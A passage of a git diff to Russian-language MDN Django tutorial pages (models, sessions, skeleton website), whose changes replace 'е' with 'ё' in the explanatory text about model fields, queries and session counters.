          • Сериализация данных (преобразование в последовательную форму): Django упрощает сериализацию и обслуживание ваших данных в таких форматах как XML или JSON. Это может быть полезно при создании веб-сервисов (веб-сайтов, которые исключительно служат для использования данных другими приложениями или сайтами и сами ничего не отображают) или при создании веб-сайта, на котором клиентский код обрабатывает весь рендеринг данных.
            • 
@@ -251,7 +251,7 @@ def index(request):
 
 
            Резюме
            
 
-
            Поздравляем, вы завершили первый шаг в своем путешествии по Django! Теперь вы должны понимать основные преимущества Django, немного его истории, и примерно как может выглядеть каждая из основных частей приложения Django. Вы должны также изучить несколько вещей о языке программирования Python, включая синтаксис списков, функций и классов.
            
+
            Поздравляем, вы завершили первый шаг в своём путешествии по Django! Теперь вы должны понимать основные преимущества Django, немного его истории, и примерно как может выглядеть каждая из основных частей приложения Django. Вы должны также изучить несколько вещей о языке программирования Python, включая синтаксис списков, функций и классов.
            
 
 
            Вы уже видели код на Django выше, но в отличие от клиентского кода вам нужно настроить среду разработки для её запуска. Это наш следующий шаг.
            
 
diff --git a/files/ru/learn/server-side/django/models/index.html b/files/ru/learn/server-side/django/models/index.html
index 4aeb0d64bc..8fa353116b 100644
--- a/files/ru/learn/server-side/django/models/index.html
+++ b/files/ru/learn/server-side/django/models/index.html
@@ -45,14 +45,14 @@ translation_of: Learn/Server-side/Django/Models
 
 
            Как только мы определились с нашими моделями и полями, нам нужно подумать об отношениях. Django позволяет вам определять отношения, как один к одному (OneToOneField), один ко многим (ForeignKey) и многие ко многим (ManyToManyField).
            
 
-
            Диаграмма ассоциации UML, приведённая ниже показывает модели, которые мы определили в этом случае (в виде блоков). Как и выше, мы создали модели для книги (общие сведения о книге), экземпляр книги (статус конкретных физических копий книги, доступных в системе) и автора.Мы также решили создать модель для жанра, чтобы можно было создавать / выбирать значения через интерфейс администратора. Мы решили не иметь модель для BookInstance: status - мы жестко закодировали значения (LOAN_STATUS), потому что мы не ожидаем их изменения. В каждом из полей вы можете увидеть имя модели, имена и типы полей, а также методы и их типы возврата.
            
+
            Диаграмма ассоциации UML, приведённая ниже показывает модели, которые мы определили в этом случае (в виде блоков). Как и выше, мы создали модели для книги (общие сведения о книге), экземпляр книги (статус конкретных физических копий книги, доступных в системе) и автора.Мы также решили создать модель для жанра, чтобы можно было создавать / выбирать значения через интерфейс администратора. Мы решили не иметь модель для BookInstance: status - мы жёстко закодировали значения (LOAN_STATUS), потому что мы не ожидаем их изменения. В каждом из полей вы можете увидеть имя модели, имена и типы полей, а также методы и их типы возврата.
            
 
 
            На диаграмме также показаны зависимости между моделями, включая их множители. Множители представляют собой числа на диаграмме, показывающие минимум и максимум единиц каждой модели, которые могут присутствовать в этой связи. Например, соединительная линия между ящиками показывает, что книга и жанр связаны между собой. Цифры, близкие к модели жанра, показывают, что у книги может быть один или несколько жанров (сколько угодно), а числа на другом конце строки рядом с моделью книги показывают, что у жанра может быть ноль или более связанных книг.
            
 
 
            LocalLibrary Model UML - v3
            
 
 
            
-
            Примечание. В следующем разделе приведен базовый пример, поясняющий, как модели определяются и используются. Когда вы его прочитаете, подумайте, как мы построим каждую из моделей на диаграмме выше.
            
+
            Примечание. В следующем разделе приведён базовый пример, поясняющий, как модели определяются и используются. Когда вы его прочитаете, подумайте, как мы построим каждую из моделей на диаграмме выше.
            
 
            
 
 
            Модель для начинающих
            
@@ -61,7 +61,7 @@ translation_of: Learn/Server-side/Django/Models
 
 
            Определение модели
            
 
-
            Модели обычно определяются в приложении models.py. Они реализуются как подклассы django.db.models.Model, и могут включать поля, методы и метаданные. В приведенном ниже фрагменте кода показана «типичная» модель, названная MyModelName:
            
+
            Модели обычно определяются в приложении models.py. Они реализуются как подклассы django.db.models.Model, и могут включать поля, методы и метаданные. В приведённом ниже фрагменте кода показана «типичная» модель, названная MyModelName:
            
 
 
            from django.db import models
 
@@ -95,18 +95,18 @@ class MyModelName(models.Model):
 
 
            Поля
            
 
-
            Модель может иметь произвольное количество полей любого типа - каждый представляет столбец данных, который мы хотим сохранить в одной из наших таблиц базы данных. Каждая запись (строка) базы данных будет состоять из одного значения каждого поля. Давайте рассмотрим приведенный выше пример:
            
+
            Модель может иметь произвольное количество полей любого типа - каждый представляет столбец данных, который мы хотим сохранить в одной из наших таблиц базы данных. Каждая запись (строка) базы данных будет состоять из одного значения каждого поля. Давайте рассмотрим приведённый выше пример:
            
 
 
            my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")
            
 
-
            Наш вышеприведенный пример имеет одно поле, называемое my_field_name, типа models.CharField — что означает, что это поле будет содержать строки буквенно-цифровых символов. Типы полей назначаются с использованием определенных классов, которые определяют тип записи, которая используется для хранения данных в базе данных, а также критерии проверки, которые должны использоваться, когда значения получены из формы HTML (то есть, что составляет действительное значение). Типы полей также могут принимать аргументы, которые дополнительно определяют, как поле хранится или может использоваться. В этом случае мы даем нашему полю два аргумента:
            
+
            Наш вышеприведённый пример имеет одно поле, называемое my_field_name, типа models.CharField — что означает, что это поле будет содержать строки буквенно-цифровых символов. Типы полей назначаются с использованием определённых классов, которые определяют тип записи, которая используется для хранения данных в базе данных, а также критерии проверки, которые должны использоваться, когда значения получены из формы HTML (то есть, что составляет действительное значение). Типы полей также могут принимать аргументы, которые дополнительно определяют, как поле хранится или может использоваться. В этом случае мы даём нашему полю два аргумента:
            
 
 
              
  
            • max_length=20 — Указывает, что максимальная длина значения в этом поле составляет 20 символов.
              • 
  
            • help_text="Enter field documentation" — предоставляет текстовую метку для отображения, чтобы помочь пользователям узнать, какое значение необходимо предоставить, когда это значение должно быть введено пользователем через HTML-форму.
              • 
 
            
 
-
            Имя поля используется для обращения к нему в запросах и шаблонах. В полях также есть метка, которая задается как аргумент (verbose_name), либо выводится путем заглавной буквы первой буквы имени переменной поля и замены любых символов подчеркивания пробелом (например, my_field_name будет иметь метку по умолчанию My field name).
            
+
            Имя поля используется для обращения к нему в запросах и шаблонах. В полях также есть метка, которая задаётся как аргумент (verbose_name), либо выводится путём заглавной буквы первой буквы имени переменной поля и замены любых символов подчёркивания пробелом (например, my_field_name будет иметь метку по умолчанию My field name).
            
 
 
            Порядок, в котором объявляются поля, будет влиять на их порядок по умолчанию, если модель отображается в форме (например, на сайте администратора), хотя это может быть переопределено.
            
 
@@ -117,11 +117,11 @@ class MyModelName(models.Model):
 
              
  
            • help_text: Предоставляет текстовую метку для HTML-форм (например, на сайте администратора), как описано выше.
              • 
  
            • verbose_name: Удобочитаемое имя для поля, используемого в поле метки. Если не указано, Django выведет по умолчанию подробное название от имени поля.
              • 
- 
            • default: Значение по умолчанию для поля. Это может быть значение или вызываемый объект, и в этом случае объект будет вызываться каждый раз, когда создается новая запись.
              • 
+ 
            • default: Значение по умолчанию для поля. Это может быть значение или вызываемый объект, и в этом случае объект будет вызываться каждый раз, когда создаётся новая запись.
              • 
  
            • null: Если True, Django будет хранить пустые значения как NULL в базе данных для полей, где это уместно (CharField вместо этого сохранит пустую строку). По умолчанию используется значение False.
              • 
  
            • blank: Если True, поле может быть пустым в ваших формах. По умолчанию используется значение False, что означает, что проверка формы Django заставит вас ввести значение. Это часто используется с null = True, потому что если вы хотите разрешить пустые значения, вы также хотите, чтобы база данных могла представлять их соответствующим образом.
              • 
  
            • choices: Группа вариантов для этого поля. Если это предусмотрено, по умолчанию соответствующий виджет формы будет полем выбора с этими вариантами вместо стандартного текстового поля.
              • 
- 
            • primary_key: Если True, задает текущее поле в качестве первичного ключа для модели (первичный ключ - это специальный столбец базы данных, предназначенный для однозначной идентификации всех разных записей таблицы). Если в качестве первичного ключа не указано поле, Django автоматически добавит для этой цели поле.
              • 
+ 
            • primary_key: Если True, задаёт текущее поле в качестве первичного ключа для модели (первичный ключ - это специальный столбец базы данных, предназначенный для однозначной идентификации всех разных записей таблицы). Если в качестве первичного ключа не указано поле, Django автоматически добавит для этой цели поле.
              • 
 
            
 
 
            Есть много других вариантов - вы можете просмотреть full list of field options here.
            
@@ -133,7 +133,7 @@ class MyModelName(models.Model):
 
              
  
            • CharField Используется для определения строк фиксированной длины от короткой до средней. Вы должны указать max_length для хранения данных.
              • 
  
            • TextField используется для больших строк произвольной длины. Вы можете указать max_length для поля, но это используется только тогда, когда поле отображается в формах (оно не применяется на уровне базы данных).
              • 
- 
            • IntegerField это поле для хранения значений (целого числа) и для проверки введенных значений в виде целых чисел в формах.
              • 
+ 
            • IntegerField это поле для хранения значений (целого числа) и для проверки введённых значений в виде целых чисел в формах.
              • 
  
            • DateField и DateTimeField используются для хранения / представления дат и информации о дате / времени (как Python datetime.date и datetime.datetime, соответственно). Эти поля могут дополнительно объявлять (взаимоисключающие) параметры auto_now=True (для установки поля на текущую дату каждый раз, когда модель сохраняется), auto_now_add (только для установки даты, когда модель была впервые создана) и по умолчанию (чтобы установить дату по умолчанию, которую пользователь может переустановить).
              • 
  
            • EmailField используется для хранения и проверки адресов электронной почты.
              • 
  
            • FileField и ImageField используются для загрузки файлов и изображений соответственно ( ImageField просто добавляет дополнительную проверку, что загруженный файл является изображением). Они имеют параметры для определения того, как и где хранятся загруженные файлы.
              • 
@@ -160,7 +160,7 @@ class MyModelName(models.Model):
 
 
              Книги будут отсортированы по алфавиту по названию, от A-Z, а затем по дате публикации внутри каждого названия, от самого нового до самого старого.
              
 
-
              Другим распространенным атрибутом является verbose_name, подробное имя для класса в единственной и множественной форме:
              
+
              Другим распространённым атрибутом является verbose_name, подробное имя для класса в единственной и множественной форме:
              
 
 
              verbose_name = "BetterName"
              
 
@@ -173,7 +173,7 @@ class MyModelName(models.Model):
 
              def __str__(self):
     return self.field_name
              
 
-
              Другим распространенным методом включения в модели Django является get_absolute_url (), который возвращает URL-адрес для отображения отдельных записей модели на веб-сайте (если вы определяете этот метод, тогда Django автоматически добавит кнопку «Просмотр на сайте» на экранах редактирования записей модели на сайте администратора). Типичный шаблон для get_absolute_url () показан ниже.
              
+
              Другим распространённым методом включения в модели Django является get_absolute_url (), который возвращает URL-адрес для отображения отдельных записей модели на веб-сайте (если вы определяете этот метод, тогда Django автоматически добавит кнопку «Просмотр на сайте» на экранах редактирования записей модели на сайте администратора). Типичный шаблон для get_absolute_url () показан ниже.
              
 
 
              def get_absolute_url(self):
     """
@@ -183,9 +183,9 @@ class MyModelName(models.Model):
 
              
 
 
              
-
              Примечание. Предполагается, что вы будете использовать URL-адреса, например / myapplication / mymodelname / 2, для отображения отдельных записей для вашей модели (где «2» - это идентификатор для определенной записи), вам нужно будет создать URL-карту, чтобы передать ответ и идентификатор «Образцовое представление модели» (которое будет выполнять работу, необходимую для отображения записи). Вышеуказанная функция reverse () может «перевернуть» ваш URL-адрес (в приведенном выше примере с именем «model-detail-view»), чтобы создать URL-адрес правильного формата.
              
+
              Примечание. Предполагается, что вы будете использовать URL-адреса, например / myapplication / mymodelname / 2, для отображения отдельных записей для вашей модели (где «2» - это идентификатор для определённой записи), вам нужно будет создать URL-карту, чтобы передать ответ и идентификатор «Образцовое представление модели» (которое будет выполнять работу, необходимую для отображения записи). Вышеуказанная функция reverse () может «перевернуть» ваш URL-адрес (в приведённом выше примере с именем «model-detail-view»), чтобы создать URL-адрес правильного формата.
              
 
-
              Конечно, для выполнения этой работы вам все равно придется писать сопоставление URL-адрес, просмотр и шаблон!
              
+
              Конечно, для выполнения этой работы вам все равно придётся писать сопоставление URL-адрес, просмотр и шаблон!
              
 
              
 
 
              Вы также можете определить любые другие методы, которые вам нравятся, и вызывать их из вашего кода или шаблонов (при условии, что они не принимают никаких параметров).
              
@@ -209,7 +209,7 @@ a_record.save()
 
              Примечание. Если вы не указали какое-либо поле в качестве primary_key, новая запись будет выдаваться автоматически, с идентификатором имени поля. Вы можете запросить это поле после сохранения указанной выше записи, и оно будет иметь значение 1.
              
 
        
 
-
        Вы можете получить доступ к полям в этой новой записи с использованием синтаксиса точек и изменить значения. Вы должны вызвать save (), чтобы сохранить измененные значения в базе данных.
        
+
        Вы можете получить доступ к полям в этой новой записи с использованием синтаксиса точек и изменить значения. Вы должны вызвать save (), чтобы сохранить изменённые значения в базе данных.
        # Access model field values using Python attributes.
 print(a_record.id) #should return 1 for the first record.
@@ -221,10 +221,10 @@ a_record.save()
        Поиск записей
        
 
-
        Вы можете искать записи, соответствующие определенным критериям, используя атрибут объектов модели (предоставляемый базовым классом).
        
+
        Вы можете искать записи, соответствующие определённым критериям, используя атрибут объектов модели (предоставляемый базовым классом).
        
-
        Примечание. Объяснение того, как искать записи, используя «абстрактную» модель и имена полей, может быть немного запутанным. В приведенном ниже обсуждении мы будем ссылаться на модель книги с полями названия и жанра, где жанр также является моделью с единственным именем в поле.
        
+
        Примечание. Объяснение того, как искать записи, используя «абстрактную» модель и имена полей, может быть немного запутанным. В приведённом ниже обсуждении мы будем ссылаться на модель книги с полями названия и жанра, где жанр также является моделью с единственным именем в поле.
        
 
        Мы можем получить все записи для модели как объект QuerySet,  используя objects.all(). QuerySet - это итерируемый объект, означающий, что он содержит несколько объектов, которые мы можем перебирать / прокручивать.
        
@@ -238,22 +238,22 @@ a_record.save()
 number_wild_books = Book.objects.filter(title__contains='wild').count()
 
 
-
        Соответствующие поля и тип соответствия определяются в имени параметра фильтра, используя формат: field_name__match_type (обратите внимание на двойное подчеркивание между заголовком выше). Выше мы фильтруем заголовок с учетом регистра. Есть много других типов совпадений, которые вы можете сделать: icontains (без учета регистра), iexact (точное совпадение без учета регистра), exact (точное совпадение с учетом регистра ) и in, gt (больше), startswith и т. д смотреть полный список (Django Docs, [EN]).
        
+
        Соответствующие поля и тип соответствия определяются в имени параметра фильтра, используя формат: field_name__match_type (обратите внимание на двойное подчёркивание между заголовком выше). Выше мы фильтруем заголовок с учётом регистра. Есть много других типов совпадений, которые вы можете сделать: icontains (без учёта регистра), iexact (точное совпадение без учёта регистра), exact (точное совпадение с учётом регистра ) и in, gt (больше), startswith и т. д смотреть полный список (Django Docs, [EN]).
        
 
-
        В некоторых случаях вам нужно будет фильтровать поле, которое определяет отношение «один ко многим» к другой модели (например, ForeignKey). В этом случае вы можете «индексировать» поля в связанной модели с дополнительными двойными подчеркиваниями. Так, например, чтобы фильтровать книги с определенным жанровым рисунком, вам нужно будет указывать имя в поле жанра, как показано ниже:
        
+
        В некоторых случаях вам нужно будет фильтровать поле, которое определяет отношение «один ко многим» к другой модели (например, ForeignKey). В этом случае вы можете «индексировать» поля в связанной модели с дополнительными двойными подчёркиваниями. Так, например, чтобы фильтровать книги с определённым жанровым рисунком, вам нужно будет указывать имя в поле жанра, как показано ниже:
        books_containing_genre = Book.objects.filter(genre__name__icontains='fiction')  # Will match on: Fiction, Science fiction, non-fiction etc.
 
        
-
        Примечание: Вы можете использовать символы подчеркивания (__) для навигации по многим уровням отношений (ForeignKey / ManyToManyField) по своему усмотрению. Например, книга, имеющая разные типы, определяемая с использованием дополнительной связи «обложка», может иметь имя параметра: type__cover__name__exact = 'hard'.
        
+
        Примечание: Вы можете использовать символы подчёркивания (__) для навигации по многим уровням отношений (ForeignKey / ManyToManyField) по своему усмотрению. Например, книга, имеющая разные типы, определяемая с использованием дополнительной связи «обложка», может иметь имя параметра: type__cover__name__exact = 'hard'.
        
 
        Существует гораздо больше возможностей для запросов, включая обратные поиски от связанных моделей, цепочки фильтров, возврат меньшего набора значений и т. д. Для получения дополнительной информации см. Making queries (Django Docs, [EN]).
        Определение моделей LocalLibrary
        
 
-
        В этом разделе мы начнем определять модели для библиотеки. Откройте models.py (в / locallibrary / catalog /). Шаблон в верхней части страницы импортирует модуль моделей, который содержит базовый класс модели models.Model, от которого наследуются наши модели.
        
+
        В этом разделе мы начнём определять модели для библиотеки. Откройте models.py (в / locallibrary / catalog /). Шаблон в верхней части страницы импортирует модуль моделей, который содержит базовый класс модели models.Model, от которого наследуются наши модели.
        from django.db import models
 
@@ -261,7 +261,7 @@ number_wild_books = Book.objects.filter(title__contains='wild').count()
 
 
        Модель жанра
        
 
-
        Скопируйте приведенный ниже код модели Genre и вставьте его в нижнюю часть вашего файла models.py. Эта модель используется для хранения информации о категории книг - например, будь то художественная или документальная, роман или военно-историческая и т. д. Как уже упоминалось выше, мы создали жанр как модель, а не как свободный текст или список выбора, чтобы возможные значения могли управляться через базу данных, а не были закодированными.
        
+
        Скопируйте приведённый ниже код модели Genre и вставьте его в нижнюю часть вашего файла models.py. Эта модель используется для хранения информации о категории книг - например, будь то художественная или документальная, роман или военно-историческая и т. д. Как уже упоминалось выше, мы создали жанр как модель, а не как свободный текст или список выбора, чтобы возможные значения могли управляться через базу данных, а не были закодированными.
        
 
 
        class Genre(models.Model):
     """
@@ -275,11 +275,11 @@ number_wild_books = Book.objects.filter(title__contains='wild').count()
         """
         return self.name
        
 
-
        Модель имеет один CharField field (имя), которое используется для описания жанра (оно ограничено 200 символами и имеет некоторый help_text. В конце модели мы объявляем метод __str__(), который просто возвращает имя жанра, определенного конкретной записью. Verbose name не был определен, поэтому поле будет называться Name в формах.
        
+
        Модель имеет один CharField field (имя), которое используется для описания жанра (оно ограничено 200 символами и имеет некоторый help_text. В конце модели мы объявляем метод __str__(), который просто возвращает имя жанра, определённого конкретной записью. Verbose name не был определён, поэтому поле будет называться Name в формах.
        
 
 
        Модель книги
        
 
-
        Скопируйте модель книги ниже и снова вставьте ее в нижнюю часть файла. Модель книги представляет всю информацию о доступной книге в общем смысле, но не конкретный физический «экземпляр» или «копию» для временного использования. Модель использует CharField для представления названия книги и isbn (обратите внимание, как isbn указывает свой ярлык как «ISBN», используя первый неименованный параметр, поскольку в противном случае ярлык по умолчанию был бы «Isbn»). Модель использует TextField для summary, потому что этот текст, возможно, должен быть очень длинным.
        
+
        Скопируйте модель книги ниже и снова вставьте её в нижнюю часть файла. Модель книги представляет всю информацию о доступной книге в общем смысле, но не конкретный физический «экземпляр» или «копию» для временного использования. Модель использует CharField для представления названия книги и isbn (обратите внимание, как isbn указывает свой ярлык как «ISBN», используя первый неименованный параметр, поскольку в противном случае ярлык по умолчанию был бы «Isbn»). Модель использует TextField для summary, потому что этот текст, возможно, должен быть очень длинным.
        
 
 
        from django.urls import reverse #Used to generate URLs by reversing the URL patterns
 
@@ -313,13 +313,13 @@ class Book(models.Model):
 
 
        Жанр представляет из себя ManyToManyField, так что книга может иметь несколько жанров, а жанр может иметь много книг. Автор объявляется через ForeignKey, поэтому в каждой книге будет только один автор, но у автора может быть много книг (на практике книга может иметь несколько авторов, но не в такой реализации!)
        
 
-
        В обоих типах полей соответствующий класс модели объявляется как первый неименованный параметр, используя либо класс модели, либо строку, содержащую имя соответствующей модели. Вы должны использовать имя модели как строку, если связанный класс еще не был определен в этом файле до того, как он будет указан! Другими параметрами, представляющими интерес для поля автора, являются null=True, которое позволяет базе данных хранить значение Null , если автор не выбран, и on_delete = models. SET_NULL установит значение автора в Null, если связанная с автором запись будет удалена.
        
+
        В обоих типах полей соответствующий класс модели объявляется как первый неименованный параметр, используя либо класс модели, либо строку, содержащую имя соответствующей модели. Вы должны использовать имя модели как строку, если связанный класс ещё не был определён в этом файле до того, как он будет указан! Другими параметрами, представляющими интерес для поля автора, являются null=True, которое позволяет базе данных хранить значение Null , если автор не выбран, и on_delete = models. SET_NULL установит значение автора в Null, если связанная с автором запись будет удалена.
        
 
 
        Модель также определяет __str __ (), используя поле заголовка книги для представления книги. Окончательный метод get_absolute_url () возвращает URL-адрес, который можно использовать для доступа к подробной записи для этой модели (для этого нам нужно будет определить сопоставление URL-адресов, в котором содержится подробная информация о книге, и определить связанное представление и шаблон ).
        
 
 
        Модель BookInstance
        
 
-
        Затем скопируйте модель BookInstance (показано ниже) под другие модели. BookInstance представляет собой определенную копию книги, которую кто-то может брать взаймы, и включает информацию о том, доступна ли копия или в какой день она ожидается, «отпечаток» или сведения о версии, а также уникальный идентификатор книги в библиотеке. Теперь некоторые из полей и методов будут знакомы. Модель использует
        
+
        Затем скопируйте модель BookInstance (показано ниже) под другие модели. BookInstance представляет собой определённую копию книги, которую кто-то может брать взаймы, и включает информацию о том, доступна ли копия или в какой день она ожидается, «отпечаток» или сведения о версии, а также уникальный идентификатор книги в библиотеке. Теперь некоторые из полей и методов будут знакомы. Модель использует
        
 
 
          
  
        • ForeignKey для идентификации связанной книги (в каждой книге может быть много копий, но в копии может быть только одна книга).
          • 
@@ -361,7 +361,7 @@ class BookInstance(models.Model):
 
            
  
          • UUIDField используется для поля id, чтобы установить его как primary_key для этой модели. Этот тип поля выделяет глобальное уникальное значение для каждого экземпляра (по одному для каждой книги, которую вы можете найти в библиотеке).
            • 
  
          • DateField используется для данных due_back (при которых ожидается, что книга появится после заимствования или обслуживания). Это значение может быть blank или null (необходимо, когда книга доступна). Метаданные модели (Class Meta) используют это поле для упорядочивания записей, когда они возвращаются в запросе.
            • 
- 
          • status - это CharField, который определяет список choice/selection. Как вы можете видеть, мы определяем кортеж, содержащий кортежи пар ключ-значение и передаем его аргументу выбора. Значение в key/value паре - это отображаемое значение, которое пользователь может выбрать, а ключи - это значения, которые фактически сохраняются, если выбрана опция. Мы также установили значение по умолчанию «m» (техническое обслуживание), поскольку книги изначально будут созданы недоступными до того, как они будут храниться на полках.
            • 
+ 
          • status - это CharField, который определяет список choice/selection. Как вы можете видеть, мы определяем кортеж, содержащий кортежи пар ключ-значение и передаём его аргументу выбора. Значение в key/value паре - это отображаемое значение, которое пользователь может выбрать, а ключи - это значения, которые фактически сохраняются, если выбрана опция. Мы также установили значение по умолчанию «m» (техническое обслуживание), поскольку книги изначально будут созданы недоступными до того, как они будут храниться на полках.
            • 
 
          
 
 
          Модель __str __ () представляет объект BookInstance, используя комбинацию его уникального идентификатора и связанного с ним заголовка книги.
          
@@ -370,7 +370,7 @@ class BookInstance(models.Model):
 
          Примечание. Немного Python:
          
 
 
            
- 
          • Значение, возвращаемое __str __ (), является форматированной строкой. В строке мы используем % S для объявления 'placeholders'. После строки укажем %, а затем кортеж, содержащий значения, которые будут вставлены в заполнители. Если у вас просто один заполнитель, вы можете опустить кортеж - например, 'Мое значение:% S' % переменная.
            
+ 
          • Значение, возвращаемое __str __ (), является форматированной строкой. В строке мы используем % S для объявления 'placeholders'. После строки укажем %, а затем кортеж, содержащий значения, которые будут вставлены в заполнители. Если у вас просто один заполнитель, вы можете опустить кортеж - например, 'Моё значение:% S' % переменная.
            
   
            
   Обратите также внимание на то, что, хотя этот подход совершенно применим, но он более не является предпочтительным. Начиная с Python 3, вы должны использовать метод format, например. '{0} ({1})'.format (self.id, self.book.title). Вы можете узнать больше об этом  здесь.
            • 
 
          
@@ -420,7 +420,7 @@ python3 manage.py migrate
        
 
 
          
  
        • Должен ли «язык» ассоциироваться с Book, BookInstance или каким-либо другим объектом?
          • 
- 
        • Должны ли быть представлены разные языки с использованием модели, свободного текстового поля или жестко запрограммированного списка выбора?
          • 
+ 
        • Должны ли быть представлены разные языки с использованием модели, свободного текстового поля или жёстко запрограммированного списка выбора?
          • 
 
        
 
 
        После того, как вы решили, добавьте поле. Вы можете увидеть наше решение на Github here.
        
@@ -435,7 +435,7 @@ python3 manage.py migrate
        В этой статье мы узнали, как определять модели, а затем использовать эту информацию в разработке и внедрении соответствующих моделей для сайта LocalLibrary.
        
 
-
        На этом этапе мы отвлечемся от создания сайта и проверим Django Administration site. Этот сайт позволит нам добавить некоторые данные в библиотеку, которые мы можем отобразить с помощью наших (еще не созданных) представлений и шаблонов.
        
+
        На этом этапе мы отвлечёмся от создания сайта и проверим Django Administration site. Этот сайт позволит нам добавить некоторые данные в библиотеку, которые мы можем отобразить с помощью наших (ещё не созданных) представлений и шаблонов.
        Смотрите также
        
 
diff --git a/files/ru/learn/server-side/django/sessions/index.html b/files/ru/learn/server-side/django/sessions/index.html
index cccdb20266..22b6248b35 100644
--- a/files/ru/learn/server-side/django/sessions/index.html
+++ b/files/ru/learn/server-side/django/sessions/index.html
@@ -19,13 +19,13 @@ original_slug: Learn/Server-side/Django/Сессии
 
 
        {{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django")}}
        
 
-
        Эта часть расширяет наш сайт LocalLibrary, добавляя счетчик посещений домашней страницы, реализованного при помощи сессий. Это относительно простой пример, но он демонстрирует то, как при помощи сессий реализовать анализ поведения анонимных пользователей на сайте.
        
+
        Эта часть расширяет наш сайт LocalLibrary, добавляя счётчик посещений домашней страницы, реализованного при помощи сессий. Это относительно простой пример, но он демонстрирует то, как при помощи сессий реализовать анализ поведения анонимных пользователей на сайте.
        
  
 
 
 
 
 
 
  
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
        
-   
+   
@@ -44,7 +44,7 @@ original_slug: Learn/Server-side/Django/Сессии
 
 
        Что такое сессии?
        
 
-
        Все взаимодействия между браузерами и серверами осуществляются при помощи протокола HTTP, который не сохраняет свое состояние (stateless). Данный факт означает, что сообщения между клиентом и сервером являются полностью независимыми один от другого — то есть не существует какого-либо представления "последовательности", или поведения в зависимости от предыдущих сообщений. В результате, если вы хотите создать сайт который будет отслеживать взаимодействие с клиентом (браузером), вам нужно реализовать это самостоятельно.
        
+
        Все взаимодействия между браузерами и серверами осуществляются при помощи протокола HTTP, который не сохраняет своё состояние (stateless). Данный факт означает, что сообщения между клиентом и сервером являются полностью независимыми один от другого — то есть не существует какого-либо представления "последовательности", или поведения в зависимости от предыдущих сообщений. В результате, если вы хотите создать сайт который будет отслеживать взаимодействие с клиентом (браузером), вам нужно реализовать это самостоятельно.
        Сессии являются механизмом, который использует Django (да и весь остальной "Интернет") для отслеживания "состояния" между сайтом и каким-либо браузером. Сессии позволяют вам хранить произвольные данные браузера и получать их в тот момент, когда между данным браузером и сайтом устанавливается соединение. Данные получаются и сохраняются в сессии при помощи соответствующего "ключа".
        
 
@@ -68,9 +68,9 @@ MIDDLEWARE = [
 
 
        Применение сессий
        
 
-
        Вы можете получить доступ к переменной session, в соответствующем отображении, через параметр request (HttpRequest передается как первый аргумент в каждое отображение). Переменная сессии является связью с определенным пользователем (или, если быть более точным, связью с определенным браузером, который определяется при помощи идентификатора (id) сессии, получаемого из куки браузера).
        
+
        Вы можете получить доступ к переменной session, в соответствующем отображении, через параметр request (HttpRequest передаётся как первый аргумент в каждое отображение). Переменная сессии является связью с определённым пользователем (или, если быть более точным, связью с определённым браузером, который определяется при помощи идентификатора (id) сессии, получаемого из куки браузера).
        
 
-
        Переменная (или поле) session является объектом-словарем, который служит для чтения и записи неограниченное число раз. С ним вы можете выполнять любые стандартные операции, включая очистку всех данных, проверку наличия ключа, циклы по данным и так далее. Большую часть времени вы будете тратить на  обычные "словарные" операции - получения и установки значений.
        
+
        Переменная (или поле) session является объектом-словарём, который служит для чтения и записи неограниченное число раз. С ним вы можете выполнять любые стандартные операции, включая очистку всех данных, проверку наличия ключа, циклы по данным и так далее. Большую часть времени вы будете тратить на  обычные "словарные" операции - получения и установки значений.
        Ниже представлены фрагменты кода, которые показывают вам как получать, задавать и удалять некоторые данные при помощи ключа "my_car", связанного с текущей сессией (браузером). 
        
 
@@ -83,7 +83,7 @@ MIDDLEWARE = [
 my_car = request.session['my_car']
 
 # Получение значения сессии. Если значения не существует,
-# то вернется значение по умолчанию ('mini')
+# то вернётся значение по умолчанию ('mini')
 my_car = request.session.get('my_car', 'mini')
 
 # Передача значения в сессию
@@ -115,7 +115,7 @@ request.session['my_car']['wheels'] = 'alloy'
 
        
-
        Примечание: Вы можете изменить поведение сессий таким образом, чтобы они записывали любое свое изменение в базу данных и отправляли куки, при каждом запросе, путем установки SESSION_SAVE_EVERY_REQUEST = True, в файле настроек проекта (locallibrary/locallibrary/settings.py).
        
+
        Примечание: Вы можете изменить поведение сессий таким образом, чтобы они записывали любое своё изменение в базу данных и отправляли куки, при каждом запросе, путём установки SESSION_SAVE_EVERY_REQUEST = True, в файле настроек проекта (locallibrary/locallibrary/settings.py).
        
 
        Простой пример — получение числа визитов
        
@@ -141,7 +141,7 @@ request.session['my_car']['wheels'] = 'alloy'
             'num_visits':num_visits}, # num_visits appended
     )
 
-
        В первую очередь мы получаем значение 'num_visits' из сессии, возвращая 0, если оно не было установлено ранее. Каждый раз при получении запроса, мы увеличиваем данное значение на единицу и сохраняем его обратно в сессии (до следующего посещения данной страницы пользователем). Затем переменная num_visits передается в шаблон через переменную контекста context.  
        
+
        В первую очередь мы получаем значение 'num_visits' из сессии, возвращая 0, если оно не было установлено ранее. Каждый раз при получении запроса, мы увеличиваем данное значение на единицу и сохраняем его обратно в сессии (до следующего посещения данной страницы пользователем). Затем переменная num_visits передаётся в шаблон через переменную контекста context.  
        
 
        Примечание: Можно проверить наличие поддержки куки в браузере (для примера, смотрите Как использовать сессии), или разработать наш UI таким образом, чтобы это не имело значения.
        
diff --git a/files/ru/learn/server-side/django/skeleton_website/index.html b/files/ru/learn/server-side/django/skeleton_website/index.html
index 3a2dfa47b7..f5e25a0b9c 100644
--- a/files/ru/learn/server-side/django/skeleton_website/index.html
+++ b/files/ru/learn/server-side/django/skeleton_website/index.html
@@ -336,7 +336,7 @@ python3 manage.py migrate
 
 
        Папка catalog/ содержит файлы контроллеров(views), моделей(models), и других частей приложения. Просмотрите эти файлы. 
        
 
-
        Как было написано выше, URL соотноситель для админ-панели был подключен в файле urls.py. Войдите в административную часть и посмотрите, что произойдёт (вы можете найти URL из соотношения выше).
        
+
        Как было написано выше, URL соотноситель для админ-панели был подключён в файле urls.py. Войдите в административную часть и посмотрите, что произойдёт (вы можете найти URL из соотношения выше).
        
 
 
          
 
        
diff --git a/files/ru/learn/server-side/django/testing/index.html b/files/ru/learn/server-side/django/testing/index.html
index 248141c498..7721c05dc1 100644
--- a/files/ru/learn/server-side/django/testing/index.html
+++ b/files/ru/learn/server-side/django/testing/index.html
